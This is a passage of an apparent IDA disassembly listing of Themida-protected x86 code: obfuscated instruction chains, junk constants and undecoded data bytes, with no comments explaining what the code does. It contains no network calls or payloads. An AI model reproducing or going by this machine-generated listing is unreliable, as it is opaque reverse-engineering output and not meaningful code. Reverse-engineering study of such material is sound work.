		dd 53FFFFFFh, 403315BBh, 0FFEB835Eh, 317CB81h, 4B4B18BFh
		dd 5E8CEB81h, 7CE9B47Fh
		db 22h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_640243:				; CODE XREF: Themida_:0063EBC6j
		xor	ecx, [esp]
		jmp	loc_647ADA
; ---------------------------------------------------------------------------
		db 0F7h
		dd 875B2414h, 8E5C1DDh,	2DF2ED81h, 0FF5544E1h, 0E95D2404h
		dd 0FFFF558Ah, 5E47BD55h, 0CD815A81h, 56057516h, 0FFB184E9h
		dd 4EC81FFh, 89000000h,	4E9243Ch, 0F7FFFF76h, 0D9F741D1h
		dd 2460BF57h, 0F781224Ah, 59C75508h, 515FF931h,	8B2414F7h
		dd 2EE9240Ch
		db 6Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_6402A3:				; CODE XREF: Themida_:0063BC2Ej
		add	dword ptr [esp+4], 335822FAh
		sub	dword ptr [esp+4], 505B6BA0h
		sub	[esp+4], eax
		add	dword ptr [esp+4], 505B6BA0h
		push	1792h
		mov	[esp], edx
		mov	edx, 335822FAh
		jmp	loc_63F6A5
; ---------------------------------------------------------------------------
		db 0F7h, 0D7h, 87h
		dd 815E243Ch, 7079B5EEh, 8BF529C3h, 0C4812434h,	4, 24148B55h
		dd 4C481h, 2C8B0000h, 4C48324h,	0FF52A8E9h, 0FFF889FFh
		dd 835F2434h, 9FBA04C4h, 313B1C6Bh, 0B760E9C2h,	1C87FFFFh
		dd 2C895C24h, 0BDBF5724h, 57CA61C9h, 78242C81h,	5D24971Ch
		dd 1C78C581h, 0E95F2497h, 0FFFF83C2h
; ---------------------------------------------------------------------------


loc_640334:				; CODE XREF: Themida_:006483C8j
		pop	esi
		xor	ecx, 0E20A4F4Ah
		mov	edi, ecx
		pop	ecx
		sub	esi, edi
		pop	edi
		not	esi
		xor	esi, 4E372C44h
		xor	esi, 1A795CBAh
		push	ecx
		mov	ecx, 24h
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 0D357819h
		neg	ebp
		jmp	loc_6476B1
; ---------------------------------------------------------------------------
		db 81h
		dd 0D16130F5h, 5DE80148h, 2FABE953h, 0E6890000h, 4C681h
		dd 0B9510000h, 4, 5E9CE01h
		db 0B2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_64038B:				; CODE XREF: Themida_:0063F8BEj
		sub	eax, 8D6BB992h
		xor	ebp, eax
		pop	eax
		add	ecx, ebp
		pop	ebp
		sub	ecx, 26502955h
		add	ecx, eax
		add	ecx, 26502955h
		sub	ecx, 303678DEh
		mov	eax, [esp]
		add	esp, 4
		add	ecx, 2
		xor	ecx, [esp]
		jmp	loc_63EBC3
; ---------------------------------------------------------------------------


loc_6403C1:				; CODE XREF: Themida_:00644B4Fj
		push	dword ptr [esp]
		mov	ebx, [esp]
		jmp	loc_635B36
; ---------------------------------------------------------------------------


loc_6403CC:				; CODE XREF: Themida_:0063B836j
		add	edx, 4
		sub	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 78744A2Ah
		add	ebp, 878BB5DAh
		jmp	loc_63F104
; ---------------------------------------------------------------------------


loc_6403F5:				; CODE XREF: Themida_:0064013Dj
		pop	ebx
		push	ebx
		mov	ebx, 7A2A1D21h
		not	ebx
		jmp	loc_63F50E
; ---------------------------------------------------------------------------
		db 81h
		dd 7E656DC7h, 81DF0135h, 7E656DEFh, 66E95B35h
		db 0Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_640417:				; CODE XREF: Themida_:00647CB5j
		push	ebx
		pop	edi
		jmp	loc_63DF78
; ---------------------------------------------------------------------------
		dw 48Bh
		dd 4C48124h, 0E9000000h, 0FFFFACA0h
; ---------------------------------------------------------------------------


loc_64042C:				; CODE XREF: Themida_:00637A71j
		add	esp, 4
		jmp	loc_63B043
; ---------------------------------------------------------------------------
		db 0BDh
		dd 2, 61D0C181h, 0E9012145h, 3104B850h,	9B0556AAh, 552B3532h
		dd 0AF79A6BDh, 0F375E90Dh, 0B951FFFFh, 3209003Fh, 0F749D1F7h
		dd 4174E9D1h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_64046A:				; CODE XREF: Themida_:00648DE1j
		mov	esi, [esp]
		add	esp, 4
		add	[esp+4], edi
		jmp	loc_643056
; ---------------------------------------------------------------------------


loc_640479:				; CODE XREF: Themida_:00640984j
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_6465A2
; ---------------------------------------------------------------------------
		dd 4C481h, 48F0000h, 4F095C24h,	240C8B1Ch, 4C481h, 6E90000h
		dd 29FFFF51h, 4335DE8h,	24043124h, 0FFB7E9E9h, 51CC68FFh
		dd 33E90000h
		db 59h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6404B7:				; CODE XREF: Themida_:00637FE4j
		pop	esp
		pop	esi
		sub	esp, 4
		mov	[esp], ebp
		push	edx
		jmp	loc_642D00
; ---------------------------------------------------------------------------
aHi4cgzsG	db 'h4gZG',0
		align 10h


loc_6404D0:				; CODE XREF: Themida_:00640C7Fj
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	5DABh
		mov	[esp], ebp
		mov	ebp, 2A1D30D5h
		shr	ebp, 7
		add	ebp, 64A54417h
		xor	ebp, 1F042A9h
		sub	ebp, 3D8C4DEFh
		or	ebp, 542E6428h
		jmp	loc_63B744
; ---------------------------------------------------------------------------
		dd 81E28952h, 4C2h, 4C28300h, 0FFF5A0E9h, 2434FFFFh, 4C48159h
		dd 81000000h, 4C1h, 86EEE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_64052A:				; CODE XREF: Themida_:00641A38j
		pop	esi
		or	eax, 326E170Ch
		jmp	loc_6450F4
; ---------------------------------------------------------------------------
		db 5Eh,	59h, 0F7h
		db 0D1h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	eax
		mov	eax, 4
		add	ebp, eax
		pop	eax
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		jmp	loc_6387CC
; ---------------------------------------------------------------------------


loc_640557:				; CODE XREF: Themida_:0063A55Dj
		sub	esp, 4
		mov	[esp], edi
		push	ecx
		mov	ecx, 628C2E89h
		dec	ecx
		shl	ecx, 1
		jmp	loc_6483BF
; ---------------------------------------------------------------------------


loc_64056E:				; CODE XREF: Themida_:00635CF4j
		mov	esp, [esp]
		jmp	loc_63AA7C
; ---------------------------------------------------------------------------


loc_640576:				; CODE XREF: Themida_:00645598j
		mov	[esp], ebp
		jmp	loc_6371BF
; ---------------------------------------------------------------------------
		dw 0B951h
		dd 11B3592Ah, 5559CD21h, 8B2404FFh, 0C483242Ch,	31D53104h
		dd 798AE9EAh, 0C4830000h, 0E9545604h, 286Eh, 8704C683h
		dd 15C2434h, 22E968F0h,	91E90000h
		db 19h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_6405B7:				; CODE XREF: Themida_:0063C5D4j
		pop	edx
		push	1476h
		mov	[esp], eax
		mov	eax, 4
		add	edi, 48DE43CCh
		add	edi, eax
		sub	edi, 48DE43CCh
		mov	eax, [esp]
		jmp	loc_63E9B1
; ---------------------------------------------------------------------------
		dd offset dword_4E6E9C+0F7CCh
		align 10h
		dd 51241C89h, 7452E9h
		db 0
; ---------------------------------------------------------------------------


loc_6405E9:				; CODE XREF: Themida_:006373D0j
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_63F678
; ---------------------------------------------------------------------------


loc_6405F7:				; CODE XREF: Themida_:0063EA03j
		add	dl, bl
		jmp	loc_646D85
; ---------------------------------------------------------------------------
		dw 0C33h
		dd 66645C24h, 9AE90289h
		db 4Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_64060B:				; CODE XREF: Themida_:00639382j
		pop	edx
		sub	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, 1C8878C9h
		push	ebp
		push	ecx
		mov	ecx, 1DD66E92h
		mov	ebp, ecx
		pop	ecx
		sub	[esp+8], ebp
		pop	ebp
		sub	[esp+4], esi
		push	edx
		mov	edx, 1DD66E92h
		add	[esp+8], edx
		pop	edx
		pop	esi
		pop	dword ptr [eax]
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 1C8878C9h
		add	[eax], edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_6355A5
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 57E18951h, 0CD044CBFh, 48EF8124h, 124CD04h, 0C8FCE9F9h
		dd 1487FFFFh, 0C895C24h, 4EC8324h, 89240C89h, 0C2968E1h
		dd 14890000h, 1BD4BA24h, 0F7425F7Ah, 0A1C281DAh, 81D1C51Eh
		dd 0B4FD38C2h, 5AD1018Dh, 4E981h, 0C870000h, 14895C24h
		dd 5D545524h, 4C581h, 0ED830000h, 242C3304h, 0FFB5C2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_6406C5:				; CODE XREF: Themida_:0064263Cj
		add	ecx, 762759D1h
		add	ecx, edi
		jmp	loc_64240F
; ---------------------------------------------------------------------------
		dw 0DBB5h
		dd 0C07BC580h, 0EDC004E5h, 4E5C006h, 800DED80h,	0EF8882C5h
		dd 0FFF19EE9h, 76E781FFh, 813CAE01h, 366436CFh,	6E95618h
		dd 8BFFFF90h, 0B2E92424h, 5500002Ch, 509EE9h, 0EE685500h
		dd 89000057h, 4812424h,	424h, 0B4CAE900h
		db 2 dup(0FFh),	51h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_63A2E9
; ---------------------------------------------------------------------------


loc_640731:				; CODE XREF: Themida_:00640039j
		add	ecx, 4
		jmp	loc_644E5F
; ---------------------------------------------------------------------------
		db 45h,	81h, 0EDh
		dd 0E9D6C27h, 3F84C581h, 0DDF7709Eh, 0FF90BDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_64074D:				; CODE XREF: Themida_:00641068j
		mov	[esp], ecx
		mov	ecx, 1
		and	eax, ecx
		pop	ecx
		jmp	loc_63E5F3
; ---------------------------------------------------------------------------


loc_64075D:				; CODE XREF: Themida_:006489C9j
		pop	esi
		add	esi, ebp
		mov	ebp, [esp]
		push	edi
		jmp	loc_63E068
; ---------------------------------------------------------------------------
		db 1, 0D3h, 8Bh
		dd 0C4812414h, 4, 88D58851h, 0E95B592Bh, 3E7Dh,	5B2434FFh
		dd 5704C483h, 0C781E789h, 4, 4EF81h, 3C870000h,	2C895C24h
		dd 18066824h, 34890000h, 5C30BE24h, 866806E9h, 89000042h
		dd 37B82404h, 0D2B6D0Eh, 742777A8h, 51DA68h, 24048900h
		dd 58241CF7h, 0D91F3E2Dh, 350D6848h, 0F6E90000h
		db 7Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_6407D7:				; CODE XREF: Themida_:0064833Aj
		add	esi, ebx
		pop	ebx
		mov	ebp, esi
		jmp	loc_63CBEE
; ---------------------------------------------------------------------------
		db 89h,	34h, 24h
		dd 0FFB9CCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_6407E9:				; CODE XREF: Themida_:006442BDj
		sub	edx, 2AE962E3h
		add	edx, 7F9F4D3Dh
		add	edx, esi
		sub	edx, 7F9F4D3Dh
		add	edx, 2AE962E3h
		add	edx, 3B852D7Eh
		push	dword ptr [esp]
		pop	esi
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		push	edx
		mov	edx, 4
		jmp	loc_6362CF
; ---------------------------------------------------------------------------
		dd 0B7241C89h, 24EF8001h, 43E9CFFEh, 1000020h, 0C78159CFh
		dd 4, 31243C33h, 3C33243Ch, 24248B24h, 0FF843EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_640849:				; CODE XREF: Themida_:0063E92Fj
		pop	esp
		inc	dword ptr [esp]
		pushf
		jmp	loc_6355A5
; ---------------------------------------------------------------------------


loc_640853:				; CODE XREF: Themida_:0063E9A2j
		push	46643666h
		pop	esi
		inc	esi
		or	esi, 1A0C62C6h
		not	esi
		jmp	loc_645C83
; ---------------------------------------------------------------------------


loc_640867:				; CODE XREF: Themida_:00647C30j
		sub	ebp, 19091272h
		pop	eax
		pop	ecx
		add	ebp, 2
		xchg	ebp, [esp]
		mov	esp, [esp]
		and	[esp], ax
		pushf
		jmp	loc_6355A5
; ---------------------------------------------------------------------------


loc_640882:				; CODE XREF: Themida_:00649608j
		add	edi, 0EB5DB2ECh
		jmp	loc_648245
; ---------------------------------------------------------------------------
		db 50h,	0E9h, 48h
		db 1Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_640893:				; CODE XREF: Themida_:00641E6Bj
		mov	[esp], edx
		push	189524CEh
		mov	edx, [esp]
		jmp	loc_648905
; ---------------------------------------------------------------------------
		db 81h
		dd 0CBECABF7h, 5FFE01F6h, 70F0E956h, 0CA890000h, 0FFB949E9h
		dd 243489FFh, 0EE651868h, 800AE940h, 5A660000h,	0FFD9EEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_6408CD:				; CODE XREF: Themida_:00647CC3j
		pop	edx
		sub	ecx, 0AF2074h
		jmp	loc_6491BB
; ---------------------------------------------------------------------------


loc_6408D9:				; CODE XREF: Themida_:0064864Dj
		push	ebp
		pop	dword ptr [eax]
		jmp	loc_63D6D1
; ---------------------------------------------------------------------------
		db 0B5h, 95h, 0F6h
		dd 0ADF580DDh, 0C004EDC0h, 0D5F604E5h, 30C1ED80h, 0F88859EFh
		dd 58C3005Bh, 24148B66h, 0F02C483h, 8B66C0B6h, 0F3682414h
		dd 0E9000032h, 0FFFFC1F9h, 5C241C87h, 0D7ECE957h, 34FFFFFFh
		dd 68505A24h, 38C8h, 83242489h,	0E9042404h, 0FFFF727Eh
		dd 0E92434FFh, 3EF2h, 7EE9D828h, 29FFFF84h, 0C3015DEBh
		dd 8BD9E9h
		db 0
; ---------------------------------------------------------------------------


loc_64094D:				; CODE XREF: Themida_:00643ABCj
		push	edx
		mov	edx, 0C07F9CFh
		sub	ebp, edx
		pop	edx
		and	ebx, ebp
		mov	ebp, [esp]
		jmp	loc_6387DB
; ---------------------------------------------------------------------------
		dd 4C6815Eh, 53000000h,	4BBh, 3BF9E900h, 4BE0000h, 1000000h
		dd 24348BF5h, 8028E9h
		db 0
; ---------------------------------------------------------------------------


loc_640981:				; CODE XREF: Themida_:0063F886j
		and	edx, eax
		pop	eax
		jmp	loc_640479
; ---------------------------------------------------------------------------
		db 51h,	89h, 0E1h
		dd 4C181h, 3CE90000h, 5E000038h, 0A3CC281h, 0EA01388Ah
		dd 0A3CEA81h, 34FF388Ah, 9458E924h, 97B90000h, 0C163BE0Bh
		dd 0C98102E9h, 3ED004B5h, 0A750F181h, 0C82955B9h, 0B9515959h
		dd 619C3C59h, 7B3AF181h, 6AE958E2h
		db 3Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_6409D7:				; CODE XREF: Themida_:00649113j
		pop	dword ptr [esp]
		pop	esp
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_648D64
; ---------------------------------------------------------------------------


loc_6409EC:				; CODE XREF: Themida_:0063BECBj
		add	edi, 4
		add	edi, 4
		jmp	loc_638DD5
; ---------------------------------------------------------------------------
		db 81h,	0F7h, 55h
		dd 31A6E8EAh, 0E9015FFDh, 81242C8Bh, 4C4h, 2BA5200h, 1000000h
		dd 24148BD1h, 8704C483h, 0F65C240Ch, 0B60F66F1h, 4EC81CCh
		dd 0E9000000h, 1B58h, 0D56667BAh, 5AD0893Ah, 0E8E9C589h
		dd 81FFFFCCh, 5C0D92EFh, 9BC7817Ah, 8127CD18h, 2F3CD4EFh
		dd 0EDEF8155h, 0E9F67786h, 84F6h, 4247C01h, 4244481h, 484341B4h
		dd 0FF7005E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_640A71:				; CODE XREF: Themida_:0064A2C4j
		push	ecx
		push	edx
		push	esi
		jmp	loc_641641
; ---------------------------------------------------------------------------
		db 29h,	0DAh, 8Bh
		dd 0C483241Ch, 1BEA8104h, 1B18735h, 24148BD6h, 4C481h
		dd 0C6830000h, 24348702h, 6624248Bh, 9C240431h,	0FF4B00E9h
		dd 5E089FFh, 4,	0AE45E955h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_640AB2:				; CODE XREF: Themida_:00646B5Cj
		mov	ebp, 0C755D401h
		add	esi, ebp
		pop	ebp
		add	ebx, esi
		push	dword ptr [esp]
		pop	esi
		push	4989h
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_6429E3
; ---------------------------------------------------------------------------
		db 5Ch,	0F7h, 0D6h
		dd 5307EEC1h, 5F78BD55h, 0EB89019Ah, 9FBBE95Dh,	5F09FFFFh
		dd 0A6E95B1Ch
		db 4Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_640AFF:				; CODE XREF: Themida_:00637A32j
		push	eax
		mov	eax, 1AAD0C2Bh
		add	ecx, eax
		pop	eax
		sub	esi, ecx
		pop	ecx
		sub	esi, 72E15E2Ah
		push	esi
		pop	edx
		pop	esi
		sub	edx, 1
		push	ecx
		mov	ecx, 21F41DB9h
		shr	ecx, 8
		not	ecx
		sub	ecx, 37566ECh
		add	ecx, 0B6C044AEh
		xor	edx, ecx
		pop	ecx


loc_640B31:				; CODE XREF: Themida_:0063676Cj
					; Themida_:006401F2j
		push	1FB2h
		mov	[esp], edx
		push	ebx
		xor	dword ptr [esp], 511E7BE7h
		push	dword ptr [esp]
		pop	edx
		jmp	loc_642CB0
; ---------------------------------------------------------------------------
		dw 8005h
		dd 0E9740E44h, 0FFFF8C78h, 895DEA89h, 8768E9D5h, 48BFFFFh
		dd 4C48324h, 4197E9h
		db 0
; ---------------------------------------------------------------------------


loc_640B69:				; CODE XREF: Themida_:0064985Fj
		mov	edx, 4
		add	edi, edx
		mov	edx, [esp]
		add	esp, 4
		xchg	edi, [esp]
		pop	esp
		and	eax, ebx
		push	dword ptr [esp]
		mov	ebx, [esp]
		jmp	loc_636946
; ---------------------------------------------------------------------------
		align 4
		dd 241C8BF8h, 4C481h, 6E680000h, 89000079h, 49E9241Ch
		dd 53000064h, 0EB242C81h, 5F39705Fh, 39B468h, 240C8900h
		dd 523CE953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_640BB6:				; CODE XREF: Themida_:00645068j
		push	edx
		push	15555D70h
		jmp	loc_6477CB
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 0E3895358h, 4C381h, 0BE560000h, 4, 6030C381h, 0F3013FB1h
		dd 0FF652FE9h, 58C501FFh, 2C8BEB29h, 4C48324h, 3B8F68h
		dd 0A13DE900h, 0C483FFFFh, 7A57E904h, 0BB53FFFFh, 6D054F0Fh
		dd 0E381DBF7h, 4A421A4h, 0FF66F8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_640C11:				; CODE XREF: Themida_:0063F9E4j
		push	341Ah
		mov	[esp], ebx
		push	edi
		mov	edi, 71AA1000h
		not	edi
		push	eax
		mov	eax, 52207624h
		or	edi, eax
		mov	eax, [esp]
		add	esp, 4
		push	esi
		mov	esi, 946B5E2Bh
		add	edi, esi
		pop	esi
		mov	ebx, edi
		pop	edi
		add	esi, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_64559D
; ---------------------------------------------------------------------------
		db 1
		dd 0EC835BDEh, 24348904h, 0A8240481h, 5D287370h, 70A8ED81h
		dd 0E95E2873h, 7E28h, 81242489h, 42404h, 34FF0000h
		db 24h,	5Bh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_6404D0
; ---------------------------------------------------------------------------
		dd 0A4C6E95Bh, 455DFFFFh, 34A0F581h, 0EF890E1Bh, 9FDE95Dh
		dd 2C890000h, 0B3685024h, 5816910Ah, 340F68h, 24148900h
		dd 7122E9h
		db 0
; ---------------------------------------------------------------------------


loc_640CB1:				; CODE XREF: Themida_:00635C46j
		mov	ecx, 284B53C4h
		push	esi
		mov	esi, ecx
		jmp	loc_63806B
; ---------------------------------------------------------------------------
		dw 8851h
		dd 0EF8853D5h, 595BFC88h, 4FE9E388h, 81FFFF88h,	4C4h, 0BFE95500h
		dd 81000038h, 209C7h, 0A2C381D4h, 166AB4Dh, 0A2EB81FBh
		dd 8B66AB4Dh, 0AEE9243Ch, 8300003Dh, 0ADE904C0h
		db 65h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_640CFF:				; CODE XREF: Themida_:0063E915j
		push	ebx
		mov	ebx, 5C247B8Fh
		push	eax
		mov	eax, 65214C3Fh
		or	ebx, eax
		pop	eax
		push	ecx
		mov	ecx, 3B6813FAh
		xor	ebx, ecx
		jmp	loc_644351
; ---------------------------------------------------------------------------
		db 33h
		dd 2C31242Ch, 242C3324h, 0EC81555Ch, 4,	2DD0E9h
		db 0
; ---------------------------------------------------------------------------


loc_640D31:				; CODE XREF: Themida_:00637E2Cj
		push	ecx
		push	eax
		mov	eax, 631323ABh
		mov	ecx, eax
		pop	eax
		and	ecx, 88C1F20h
		jmp	loc_64276F
; ---------------------------------------------------------------------------


loc_640D46:				; CODE XREF: Themida_:00642E7Dj
		pop	esp
		jmp	loc_64A2DD
; ---------------------------------------------------------------------------
		dd 4C3815Bh, 68000000h,	6D5Fh, 0FFB943E9h, 241C87FFh, 0FFD8C9E9h
		dd 89515EFFh, 4C181E1h,	83000000h, 0C8704C1h, 9206E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_640D7A:				; CODE XREF: Themida_:0063B63Aj
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_63C649
; ---------------------------------------------------------------------------


loc_640D90:				; CODE XREF: Themida_:006488F1j
		neg	esi
		xor	esi, 776962CEh
		add	esi, 0E1FB991Ah
		jmp	loc_6461CB
; ---------------------------------------------------------------------------
		db 5Eh
		dd 0FF4E22E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_640DA9:				; CODE XREF: Themida_:0063A223j
		not	esi
		shr	esi, 6
		not	esi
		jmp	loc_63E1A2
; ---------------------------------------------------------------------------
		db 0D0h, 0E9h, 0FEh
		dd 51F6E9C1h, 74FFFFFFh, 8F5B0424h, 248B2404h, 5D545524h
		dd 4C581h, 0ED830000h, 242C8704h, 243C895Ch, 0FF8FEDE9h
		dd 81E189FFh, 4C1h, 4E98300h, 0E9240C87h, 0FFFF641Ah
; ---------------------------------------------------------------------------


loc_640DF4:				; CODE XREF: Themida_:00642FDAj
		push	ecx
		mov	ecx, 5E1A14D2h
		jmp	loc_6383B5
; ---------------------------------------------------------------------------


loc_640DFF:				; CODE XREF: Themida_:0063A5B8j
		xor	esi, eax
		jmp	loc_63626A
; ---------------------------------------------------------------------------


loc_640E06:				; CODE XREF: Themida_:0064671Aj
		add	esp, 4
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_638F85
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 9Dh
		dd 1CDD875h, 4F83E9FAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_640E22:				; CODE XREF: Themida_:00643A62j
		mov	[esp], edx
		mov	edx, 13EC2A25h
		sub	edx, 0C7204Bh
		jmp	loc_644B20
; ---------------------------------------------------------------------------


loc_640E35:				; CODE XREF: Themida_:00641DF9j
		push	edi
		mov	edi, 50304C6h
		jmp	loc_648B90
; ---------------------------------------------------------------------------
		dd 0FF8734FFh, 34FF2434h, 89575824h, 0CD0FE9E7h, 52ACFFFFh
		dd 33E93BB6h, 0F7000075h, 394805D8h, 0B6E93CB4h, 1FFFFACh
		dd 18C781F7h, 81106E04h, 856EAAEFh, 5BDAE964h, 1C330000h
		dd 89665C24h, 52682414h, 0E9000060h, 0FFFFB668h, 0C3805966h
		dd 0E9C3FE68h, 0FFFF7D52h, 335FF901h, 0C31240Ch, 240C3324h
		dd 148B665Ch, 82CFE924h, 0DCF6FFFFh, 0FF7626E9h, 2C681FFh
		dd 33000000h, 34312434h, 24343324h, 0BA60E95Ch,	0C483FFFFh
		dd 0CF814F04h, 73EF3D8Ch, 0C218BE56h, 0F7018C10h, 4DBDE95Eh
		dd 83ADFFFFh, 0C8904ECh, 0C7685724h, 5F064C60h,	0FF49CFE9h
		dd 0F5805BFFh, 22B3E989h, 0F1810000h, 3BA5EFB8h, 56E9CB29h
		dd 58FFFF68h, 31241433h, 0EBE92414h, 5DFFFF81h,	45CE981h
		dd 0F02D2015h, 5637BC13h, 8B81E9h, 0F756800h, 4890000h
		dd 3D43E924h, 0F7810000h, 31002605h, 34FFF989h,	0C4815F24h
		dd 4, 4A51BA52h, 0D029788Ah, 5C8015Ah, 788A4A51h, 25C7E959h
		dd 0D8300000h, 2C0B0C5Bh, 8BC288F9h, 0C4812404h, 4, 0FFB24AE9h
		dd 30EFB6FFh, 148B66F1h, 0F2E95024h, 29FFFFCAh,	895158C6h
		dd 59CD89F1h, 5E5C15Eh,	0FF4F40E9h, 2474FFFFh, 2434FF04h
		dd 0E924048Bh, 0FFFFEC7Eh, 5565268h, 0A43DE962h, 7C04FFFFh
		dd 0FFDDB8E9h, 0E9D701FFh, 0FFFFA717h, 1E67E95Fh, 4890000h
		dd 0E5E95424h
		db 17h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_640FCB:				; CODE XREF: Themida_:00644FE8j
		sub	ebp, edx
		pop	edx
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_63691B
; ---------------------------------------------------------------------------
		dw 489h
		dd 2474FF24h, 24048B04h, 565B5453h, 0F91FD3BEh,	4EC8351h
		dd 0B9240C89h, 0AE06E031h, 0FFC71FE9h, 256768FFh, 14890000h
		dd 68E28924h, 7CCh, 53CCE9h, 48B6600h, 4EC8324h, 0E9240C89h
		dd 75A8h
; ---------------------------------------------------------------------------


loc_641028:				; CODE XREF: Themida_:00645C95j
		push	ebx
		mov	ebx, 4
		sub	eax, 41FE7359h
		add	eax, ebx
		push	ecx
		mov	ecx, 41FE7359h
		add	eax, ecx
		pop	ecx
		pop	ebx
		xchg	eax, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	ebp
		sub	esp, 4
		mov	[esp], edx
		push	134305ABh
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_635AB4
; ---------------------------------------------------------------------------


loc_641067:				; CODE XREF: Themida_:0063F333j
		pop	esp
		jmp	loc_64074D
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 582434FFh, 0E904C483h, 8ADDh, 0D2F7D2F7h, 6DE9C281h
		dd 67E9371Ch, 0B0FFFFA4h, 0E94D2CC3h, 0FFFFC01Ch, 0A62FC1BEh
		dd 5EF0290Eh, 0E9D8295Bh, 7EDEh, 24148B5Fh, 4C481h, 2C8B0000h
		dd 4C48324h, 0E05BF57h,	0D7F7168Ah, 0DFF7DFF7h,	0E9D7F747h
		dd 0FFFF8FD7h, 4C781h, 0C7830000h, 243C8704h, 74FF505Ch
		dd 8F580424h, 0EEE92404h
		db 0A0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6410E3:				; CODE XREF: Themida_:0064AC50j
		add	esp, 4
		push	esi
		mov	esi, 10400D28h
		add	edx, esi
		pop	esi
		push	ecx
		jmp	loc_6483E3
; ---------------------------------------------------------------------------


loc_6410F5:				; CODE XREF: Themida_:0064940Fj
		mov	ecx, 46881843h
		sub	ecx, 33712DF1h
		jmp	loc_642529
; ---------------------------------------------------------------------------
		db 59h,	57h, 58h
		dd 83243C8Bh, 472104C4h, 2434FF1Ch, 4C48158h, 0E9000000h
		dd 0FFFF4485h, 0E4E907B0h, 81000033h, 5E6E03F1h, 6AED8117h
		dd 1153863h, 6AC581CDh,	8B153863h, 1FE9240Ch, 0BDFFFF60h
		dd 5B706DBh, 15DEB29h, 0DBBA52EBh, 105B706h, 0C3815AD3h
		dd 603D1313h, 0E9242C8Bh, 3995h
; ---------------------------------------------------------------------------


loc_641164:				; CODE XREF: Themida_:00646F86j
		mov	edx, [esp]
		jmp	loc_63E563
; ---------------------------------------------------------------------------
		dd 0CF88C188h, 88586659h, 19045BFDh, 0FFFE31E9h, 4E983FFh
		dd 5C240C87h, 0BD242C89h, 4, 3CE9E801h
		db 22h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_641193:				; CODE XREF: Themida_:00639C75j
		mov	eax, 68B612C7h
		and	edi, eax
		mov	eax, [esp]
		jmp	loc_638EB8
; ---------------------------------------------------------------------------
		dw 0F381h
		dd 6ADA1612h, 0C27AF381h, 0D9895C86h, 5B2434FFh, 0E904C483h
		dd 241Ah, 2593C381h, 1591AB0h, 241C8BDAh, 5204C483h, 42474FFh
		dd 24048F5Ah, 0E924248Bh, 0FFFF9838h, 4C781h, 0EF830000h
		dd 944AE904h, 685CFFFFh, 3944h,	0FF240489h, 8B042474h
		dd 0C4812404h, 4, 8B24048Fh, 24E92424h,	8900007Ch, 405E0h
		dd 2050000h, 0E9000000h, 22F2h,	4BA52h,	0D1010000h, 58FDE95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_64122A:				; CODE XREF: Themida_:0063D5C7j
		mov	[esp], edi
		push	esi
		push	41F36D63h
		pop	esi
		or	esi, 9D60B2h
		sub	esi, 320AEF55h
		mov	edi, esi
		pop	esi
		xor	edi, 1EBDBAA2h
		sub	ecx, edi
